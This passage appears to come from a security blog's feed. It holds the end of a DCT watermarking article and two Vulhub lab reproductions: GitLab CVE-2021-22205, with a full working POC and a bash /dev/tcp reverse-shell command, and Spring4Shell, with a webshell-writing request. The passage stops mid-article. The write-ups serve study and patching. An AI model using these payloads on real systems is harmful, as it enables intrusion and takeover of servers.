        for (i = 0; i &amp;lt; 8; i++) out[i][j] = col_out[i];
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;水印嵌入与提取实现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 在8x8块中嵌入水印比特
 * @param block 8x8的DCT系数矩阵
 * @param bit 要嵌入的比特值（0或1）
 * @param strength 嵌入强度
 */
void embed_watermark_bit(double block[8][8], int bit, double strength) {
    if (bit == 1) {
        if (block[3][4] &amp;lt;= block[4][3]) {
            // 使F(3,4) &amp;gt; F(4,3) + strength
            double temp = block[4][3];
            block[4][3] = block[3][4] - strength;
            block[3][4] = temp + strength;
        }
    } else {
        if (block[3][4] &amp;gt;= block[4][3]) {
            // 使F(4,3) &amp;gt; F(3,4) + strength
            double temp = block[4][3];
            block[4][3] = block[3][4] + strength;
            block[3][4] = temp - strength;
        }
    }
}

/**
 * 从8x8块中提取水印比特
 * @param block 8x8的DCT系数矩阵
 * @return 提取出的比特值（0或1）
 */
int extract_watermark_bit(double block[8][8]) {
    return (block[3][4] &amp;gt; block[4][3]) ? 1 : 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;强度平衡&lt;/h4&gt;
&lt;p&gt;强度值（Strength）是一个平衡杆。&lt;code&gt;28.0&lt;/code&gt; 是一个平衡点。数值越大，抗压缩越强，但图片可能出现色块（块效应）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;double strength = 28.0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;同步特征&lt;/h4&gt;
&lt;p&gt;在数据流开头加入特定的位模式（如 &lt;code&gt;0xAA&lt;/code&gt;），可以帮助提取器快速定位起始位置并过滤无水印图片。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define SYNC_MARKER 0xAA 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;结论与展望&lt;/h2&gt;
&lt;p&gt;本文通过对DCT数字水印算法的系统性分析，阐述了其理论基础与实现要点。研究结果表明，合理的参数选择和优化策略能够有效平衡鲁棒性与透明性。未来研究可重点关注几何不变性水印算法的设计，以及深度学习技术在水印参数自适应优化中的应用。&lt;/p&gt;
&lt;h2&gt;参考文献&lt;/h2&gt;
&lt;p&gt;[1] Ahmed N, Natarajan T, Rao K R. Discrete cosine transform[J]. IEEE Transactions on Computers, 1974, 100(1): 90-93.&lt;/p&gt;
&lt;p&gt;[2] Cox I J, Miller M L, Bloom J A. Digital watermarking: from concepts to practical applications[M]. Artech House, 2002.&lt;/p&gt;
&lt;p&gt;[3] Langelaar G C, Setyawan I, Lagendijk R L. The digital watermark processing paradox[C]//Proceedings of SPIE. 2001, 4314: 13-27.&lt;/p&gt;
&lt;p&gt;[4] Kutter M, Voloshynovskiy S, Herrigel A. Watermarking schemes evaluation[C]//IEEE Signal Processing Magazine. 2001, 17(5): 59-65.&lt;/p&gt;
</content:encoded></item><item><title>GitLab 远程代码执行漏洞（CVE-2021-22205）复现</title><link>https://blog.mal-suen.cn/posts/2023/03/115/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/03/115/</guid><description>GitLab 处理用户上传图片时调用 ExifTool 解析元数据，ExifTool 的 DjVu 解析模块存在 Perl 代码注入，攻击者上传伪装成 JPEG 的恶意 DjVu 文件即可在服务器上执行任意命令；上传接口无需登录，仅需登录页公开的 CSRF 令牌。CVSS 10.0，影响 GitLab 11.9 起至 13.8.8、13.9.6、13.10.3 之前的版本。本文基于 Vulhub 靶场复现并拆解注入原理。</description><pubDate>Tue, 07 Mar 2023 19:52:04 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2021-22205 是 GitLab 的未授权远程代码执行漏洞，CVSS 10.0（初始评级 9.9，2021 年 9 月官方修订为 10.0）。GitLab 处理用户上传的图片时会调用 ExifTool 解析元数据；ExifTool 的 DjVu 解析模块在处理注释块时未转义特殊字符，攻击者借此注入 Perl 代码（&lt;code&gt;qx{}&lt;/code&gt; 命令执行），上传一个伪装成 JPEG 的恶意 DjVu 文件即可在服务器上执行任意命令，命令以 GitLab 进程的身份运行。上传接口 &lt;code&gt;/uploads/user&lt;/code&gt; 无需登录，只需从登录页面获取公开的 CSRF 令牌，攻击者不需要任何凭据。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 gitlab/CVE-2021-22205 靶场（GitLab 13.10.1），覆盖环境搭建、指纹识别、POC 利用、反弹 Shell 四个阶段，并拆解 DjVu 注入与未授权接口的代码级原理。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-22205&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;11.9 ≤ GitLab &amp;lt; 13.8.8、13.9.0 ≤ GitLab &amp;lt; 13.9.6、13.10.0 ≤ GitLab &amp;lt; 13.10.3&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/gitlab/CVE-2021-22205
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
a21a935a51c3   vulhub/gitlab:13.10.1   &quot;/sbin/entrypoint.sh…&quot;   32 minutes ago   Up 26 minutes   443/tcp, 0.0.0.0:10022-&amp;gt;22/tcp, [::]:10022-&amp;gt;22/tcp, 0.0.0.0:8080-&amp;gt;80/tcp, [::]:8080-&amp;gt;80/tcp   cve-2021-22205-gitlab-1
31fc75d9a1a5   postgres:12-alpine      &quot;docker-entrypoint.s…&quot;   32 minutes ago   Up 26 minutes   5432/tcp                                                                                      cve-2021-22205-postgresql-1
ecceaea63f01   redis:5.0.9-alpine      &quot;docker-entrypoint.s…&quot;   32 minutes ago   Up 26 minutes   6379/tcp                                                                                      cve-2021-22205-redis-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动后需等待 2-5 分钟，GitLab 的启动过程消耗大量资源，直到访问 &lt;code&gt;http://192.168.31.148:8080&lt;/code&gt; 出现登录界面为止。也可以将虚拟机的配置适当调高，配置过低可能会导致卡死。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./GitLab-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-%EF%BC%88CVE-2021-22205%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2021-22205-%E7%99%BB%E9%99%86%E9%A1%B5%E9%9D%A2.png&quot; alt=&quot;GitLab 登录页面&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default&quot; 192.168.31.148

# 扫描结果
PORT      STATE SERVICE VERSION
8080/tcp  open  http    nginx
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search 
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/ 
|_/*/new /*/edit /*/raw
10022/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 69:99:c3:1d:69:24:fd:60:c1:8f:34:cf:58:41:2b:15 (RSA)
|   256 76:ba:0d:e2:85:6e:33:9d:5f:f2:f1:0e:8a:9a:98:03 (ECDSA)
|_  256 5a:b1:7a:e5:85:eb:38:d0:c2:55:bd:4f:a0:c2:0e:7e (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从扫描结果可知目标运行着 Web 服务。根据 &lt;code&gt;robots.txt&lt;/code&gt; 中的目录（如 &lt;code&gt;/autocomplete/users&lt;/code&gt;、&lt;code&gt;/-/ide/&lt;/code&gt;），可以判定该服务为 &lt;strong&gt;GitLab&lt;/strong&gt;。此外还有修改了默认端口（22 改为 10022）的 SSH 服务。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;Vulhub 自带一个 POC 脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sys
import re
import requests

target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb&apos;csrf-token&quot; content=&quot;(.*?)&quot; /&amp;gt;&apos;)

def get_payload(command):
    rce_payload = b&apos;\x41\x54\x26\x54\x46\x4f\x52\x4d&apos;
    rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder=&apos;big&apos;, signed=True)
    rce_payload += b&apos;\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61&apos;
    rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder=&apos;big&apos;, signed=True)
    rce_payload += b&apos;\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b&apos;
    rce_payload += command.encode()
    rce_payload += b&apos;\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a&apos;
    return rce_payload

def csrf_token():
    response = session.get(f&apos;{target}/users/sign_in&apos;, headers={&apos;Origin&apos;: target})
    g = CSRF_PATTERN.search(response.content)
    assert g, &apos;No CSRF Token found&apos;
    return g.group(1).decode()

def exploit():
    files = [(&apos;file&apos;, (&apos;test.jpg&apos;, get_payload(command), &apos;image/jpeg&apos;))]
    session.post(f&apos;{target}/uploads/user&apos;, files=files, headers={&apos;X-CSRF-Token&apos;: csrf_token()})

if __name__ == &apos;__main__&apos;:
    exploit()
    print(&apos;finish test&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;POC 的代码级原理见下文 POC 代码简析一节。&lt;/p&gt;
&lt;p&gt;攻击机启动 nc 监听，接收反弹 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444            
listening on [any] 4444 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行 POC 脚本，传入反弹 Shell 命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python poc.py http://192.168.31.148:8080 &quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1&apos;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc 监听端随即收到来自靶机的反弹 Shell，提示符为 &lt;code&gt;git@a21a935a51c3&lt;/code&gt;，命令以 GitLab 的 git 用户身份执行：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./GitLab-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-%EF%BC%88CVE-2021-22205%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2021-22205-%E5%8F%8D%E5%BC%B9shell%E6%88%90%E5%8A%9F.png&quot; alt=&quot;nc 监听端收到反弹 Shell，提示符为 git 用户&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;CVE-2021-22205 的核心在于 GitLab 调用的第三方组件 ExifTool 在解析图片元数据时存在的注入缺陷。ExifTool 是一个基于 Perl 语言开发的工具，专门用于读取和处理各种文件的元数据信息。当攻击者向 GitLab 上传一个精心构造的 DjVu 格式文件时，尽管文件后缀可能被伪装成常见的 JPG 或 PNG，ExifTool 依然会通过识别文件内部的特征头来将其作为 DjVu 文件进行深度解析。&lt;/p&gt;
&lt;p&gt;问题的根源在 DjVu 文档的注释块（ANTa 块）解析逻辑上。ExifTool 在读取这些注释信息时，未对其中的特殊字符进行转义过滤。攻击者利用这一特性，通过在注释中注入反斜杠和引号等符号，破坏原有 Perl 字符串的闭合结构，使原本应被视为普通文本的元数据内容被 Perl 解释器当作程序代码执行。&lt;/p&gt;
&lt;p&gt;具体的注入手段是利用 Perl 语言中的 &lt;code&gt;qx{}&lt;/code&gt; 运算符，该运算符在 Perl 中专门用于执行系统命令。攻击者通过构造如 &lt;code&gt;qx{id}&lt;/code&gt; 之类的指令，并利用闭合技巧将其嵌入图片，ExifTool 在扫描到这一行数据时，会直接在服务器上以当前运行进程的权限（本靶机为 git 用户）执行该指令。&lt;/p&gt;
&lt;p&gt;GitLab 的 Web 架构在处理文件上传时的逻辑顺序放大了这个缺陷。在受影响的版本中，服务器的 Workhorse 组件在进行用户身份验证和权限检查之前，为了验证文件合法性，就已经提前调用了 ExifTool 对上传的文件进行预处理。这种“先解析、后鉴权”的顺序，使得任何匿名攻击者只要能从登录页面获取一个 CSRF 令牌，就可以直接触发远程代码执行。&lt;/p&gt;
&lt;h2&gt;POC 代码简析&lt;/h2&gt;
&lt;h3&gt;get_payload(command)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def get_payload(command):
    # 1. 写入 DjVu 文件标识头 (Magic Number)
    # \x41\x54\x26\x54... 对应字符串 &quot;AT&amp;amp;TFORM&quot;
    rce_payload = b&apos;\x41\x54\x26\x54\x46\x4f\x52\x4d&apos;
    
    # 2. 计算并写入长度。to_bytes 将数字转为机器能读的 4 字节二进制
    rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder=&apos;big&apos;, signed=True)
    
    # 3. 写入 DjVu 的特定结构数据 (DJVUINFO 块等)
    rce_payload += b&apos;\x44\x4a\x56\x55\x49\x4e\x46\x4f...&apos;
    
    # 4. 关键注入点：利用 qx{} 语法
    # \x71\x78\x7b 对应 Perl 中的 &quot;qx{&quot;。在 Perl 里，qx{cmd} 会直接运行系统命令。
    rce_payload += b&apos;...(省略部分)... \x71\x78\x7b&apos; 
    rce_payload += command.encode() # 插入命令
    rce_payload += b&apos;\x7d \x20 \x2e ...&apos; # \x7d 对应 &quot;}&quot;，闭合命令
    
    return rce_payload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造一个伪装成 JPEG 图片的恶意字节流（目标网站只接受图片上传），字节流中嵌入了要执行的系统命令。ExifTool 看到文件头是 &lt;code&gt;AT&amp;amp;TFORM&lt;/code&gt;，就会启动 DjVu 解析器，漏洞在于 ExifTool 的 DjVu 解析模块没有过滤元数据里的特殊字符。脚本插入了 &lt;code&gt;qx{命令}&lt;/code&gt;，当 ExifTool 读到这里时，会将其当作要执行的 Perl 代码，从而触发命令执行。&lt;/p&gt;
&lt;h3&gt;csrf_token()&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def csrf_token():
    # 访问登录页面
    response = session.get(f&apos;{target}/users/sign_in&apos;, headers={&apos;Origin&apos;: target})
    # 使用正则表达式 re.compile 寻找 HTML 里的 csrf-token 标签
    g = CSRF_PATTERN.search(response.content)
    # 如果没找到，脚本会报错中断 (assert)
    assert g, &apos;No CSRF Token found&apos;
    return g.group(1).decode()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GitLab 所有的 POST 请求（上传、提交表单）都强制要求携带 CSRF Token。登录页面对任何访问者都会下发这个 Token，脚本模拟正常访问来获取它。&lt;/p&gt;
&lt;h3&gt;exploit()&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def exploit():
    # 伪装文件名叫 test.jpg，类型叫 image/jpeg
    files = [(&apos;file&apos;, (&apos;test.jpg&apos;, get_payload(command), &apos;image/jpeg&apos;))]
    # 发送 POST 请求到受影响的未授权接口 /uploads/user
    session.post(f&apos;{target}/uploads/user&apos;, files=files, headers={&apos;X-CSRF-Token&apos;: csrf_token()})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然内容是恶意 DjVu 数据，但文件名后缀写成 &lt;code&gt;.jpg&lt;/code&gt;，这能绕过绝大多数简单的格式过滤器。&lt;code&gt;/uploads/user&lt;/code&gt; 是这个漏洞的核心。在这个接口，GitLab 未检查用户是否已登录，直接把图片交给了后端的 ExifTool 处理。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 GitLab CE/EE 至 13.8.8、13.9.6、13.10.3 或更高版本（2021-04-14 发布）；底层 ExifTool 的对应修复版本为 12.24；&lt;/li&gt;
&lt;li&gt;该漏洞在 2021 年 11 月被发现在野大规模利用，并列入 CISA KEV 目录。曾暴露在公网的实例不能只打补丁：应轮换密钥与 Runner Token、排查恶意账户和持久化后门，无法确认系统完整性时建议重建。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GitLab 官方安全公告：https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/&lt;/li&gt;
&lt;li&gt;GitHub Advisory（GHSA-vgp2-3hxm-6x85）：https://github.com/advisories/GHSA-vgp2-3hxm-6x85&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2021-22205&lt;/li&gt;
&lt;li&gt;在野利用分析（Humanativa）：https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/gitlab/CVE-2021-22205&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Spring4Shell（CVE-2022-22965）复现</title><link>https://blog.mal-suen.cn/posts/2022/05/107/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2022/05/107/</guid><description>Spring Framework 的参数绑定机制允许通过 class.module.classLoader 路径访问 JDK 9+ 新增的 Module 对象，绕过原有黑名单，篡改 Tomcat 的 AccessLogValve 日志配置，将访问日志写入 Web 目录并命名为 .jsp 文件，生成持久化 Webshell。CVSS 9.8，影响 Spring Framework &lt; 5.3.18 / &lt; 5.2.20 且运行于 JDK 9+ 与 Tomcat 的场景。本文基于 Vulhub 靶场复现并拆解利用链。</description><pubDate>Tue, 17 May 2022 05:20:53 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2022-22965（Spring4Shell）是 Spring Framework 的远程代码执行漏洞，CVSS 9.8。Spring MVC 的参数绑定机制会递归地将 HTTP 请求参数绑定到 Java 对象属性上，原有黑名单只拦截了 &lt;code&gt;class.classLoader&lt;/code&gt; 路径；JDK 9 引入模块化后在 &lt;code&gt;Class&lt;/code&gt; 对象上新增了 &lt;code&gt;getModule()&lt;/code&gt; 方法，攻击者通过 &lt;code&gt;class.module.classLoader&lt;/code&gt; 这条新路径绕过黑名单，访问并篡改 Tomcat 的 AccessLogValve（访问日志组件）的配置属性：把日志输出目录改到 Web 根目录、文件名后缀改为 &lt;code&gt;.jsp&lt;/code&gt;、日志内容格式改为一段 JSP 代码，让 Tomcat 自己往 Web 目录写一个 Webshell，实现远程代码执行。利用条件：Spring Framework &amp;lt; 5.3.18 / &amp;lt; 5.2.20，运行在 JDK 9+ 上，且以 WAR 包部署在 Tomcat（Spring Boot 内嵌 Tomcat 的类加载器路径不同，不受此漏洞影响）。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 spring/CVE-2022-22965 靶场（Spring 5.3.17 + JDK 11 + Tomcat），覆盖无害化探测（状态码对比）、Webshell 写入、命令执行三个阶段，并拆解参数绑定、模块化绕过、日志阀篡改的利用链。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-22965&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;Spring Framework &amp;lt; 5.3.18、&amp;lt; 5.2.20（需 JDK 9+ 且部署于 Tomcat WAR）&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装 Docker 和 docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/spring/CVE-2022-22965	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
7fb0fecd0ed8   vulhub/spring-webmvc:5.3.17   &quot;catalina.sh run&quot;   4 minutes ago   Up 4 minutes   0.0.0.0:8080-&amp;gt;8080/tcp, :::8080-&amp;gt;8080/tcp   cve-2022-22965-spring-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.31.148:8080/&lt;/code&gt;，出现以下页面：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Spring4Shell%EF%BC%88CVE-2022-22965%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2022-22965%E9%A1%B5%E9%9D%A2.png&quot; alt=&quot;Spring 应用首页&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试加入参数 &lt;code&gt;/?name=test&amp;amp;age=18&lt;/code&gt;，发现页面内容发生了变化：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Spring4Shell%EF%BC%88CVE-2022-22965%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2022-22965-%E5%8F%82%E6%95%B0-%E9%A1%B5%E9%9D%A2.png&quot; alt=&quot;加入 name 和 age 参数后页面变化&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE     VERSION
8080/tcp open  nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn&apos;t have a title (text/html;charset=ISO-8859-1).
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Spring 应用返回的 HTML 响应无 &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; 标签，且存在特殊请求处理逻辑，导致 nmap 脚本误判为 Nagios NSCA。&lt;/p&gt;
&lt;h3&gt;无害化探测：状态码对比&lt;/h3&gt;
&lt;p&gt;发送一个完全正常的请求，记录响应码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -i http://192.168.31.148:8080/
HTTP/1.1 200 
Set-Cookie: JSESSIONID=81FD917F820A801DEABA26295E09AB71; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Content-Length: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送一个尝试访问 &lt;code&gt;class.module.classLoader&lt;/code&gt; 的请求。如果 Spring 允许访问但你没有提供正确的子属性，或者属性类型不匹配，服务器通常会抛出 &lt;strong&gt;400 Bad Request&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -ig http://192.168.31.148:8080/?class.module.classLoader.URLs[0]=test
HTTP/1.1 400 
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 2070
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送 &lt;code&gt;class.module.classLoader.URLs[0]=test&lt;/code&gt; 时，Spring 尝试按给出的路径去寻找并修改 &lt;code&gt;ClassLoader&lt;/code&gt; 中的 &lt;code&gt;URLs&lt;/code&gt; 属性。&lt;code&gt;URLs[0]&lt;/code&gt; 期望接收的是一个 &lt;code&gt;java.net.URL&lt;/code&gt; 对象，而传入的是字符串 &lt;code&gt;&quot;test&quot;&lt;/code&gt;，Spring 在类型转换时失败，抛出异常并返回 400 状态码。&lt;/p&gt;
&lt;p&gt;如果目标&lt;strong&gt;没有漏洞&lt;/strong&gt;（补丁已修复或 JDK 版本不对），Spring 会直接忽略这个参数，返回正常的 &lt;strong&gt;200 OK&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;写入 Webshell&lt;/h3&gt;
&lt;p&gt;向靶机发送 &lt;code&gt;POST&lt;/code&gt; 请求，结果收到一个 &lt;strong&gt;HTTP 405 Method Not Allowed&lt;/strong&gt; 错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -i -X POST -d &quot;class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&quot; http://192.168.31.148:8080/
HTTP/1.1 405 
Allow: GET
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 750
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后端 Controller 方法仅允许 GET 请求。Spring 的参数绑定只有在请求成功匹配到控制器方法时才会触发，方法不匹配时攻击请求在进入绑定阶段前就被拦截了。&lt;/p&gt;
&lt;p&gt;Spring 的属性绑定机制不区分请求方法，改用 &lt;code&gt;GET&lt;/code&gt; 传参，使用 Burp Suite 发送请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%40%20page%20import%3D%22java.util.*%2Cjava.io.*%22%20%25%7Bc2%7Di%25%7Bc1%7Di%20if%20(request.getParameter(%22cmd%22)%20!%3D%20null)%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22))%3B%20DataInputStream%20dis%20%3D%20new%20DataInputStream(p.getInputStream())%3B%20String%20disLine%20%3D%20%22%22%3B%20while%20((disLine%20%3D%20dis.readLine())%20!%3D%20null)%20%7B%20out.println(disLine)%3B%20%7D%20%7D%20%25%7Bc2%7Di&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

Host: 192.168.31.148:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在修改完配置后，必须通过带有特殊 Header 的请求去填充那些占位符，发送 5-10 次。Tomcat 在写入日志时，看到配置里的 &lt;code&gt;%{c1}i&lt;/code&gt;，就会去 Header 里找 &lt;code&gt;c1&lt;/code&gt; 的值（即 &lt;code&gt;&amp;lt;%&lt;/code&gt;）并写入文件，这样就绕过了 URL 编码对特殊字符的破坏：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1

Host: 192.168.31.148:8080
c1: &amp;lt;%
c2: %&amp;gt;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;验证命令执行&lt;/h3&gt;
&lt;p&gt;访问新生成的 &lt;code&gt;shell.jsp&lt;/code&gt;，已经可以正常执行 &lt;code&gt;id&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl &quot;http://192.168.31.148:8080/shell.jsp?cmd=id&quot;
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;Spring 的参数绑定&lt;/h3&gt;
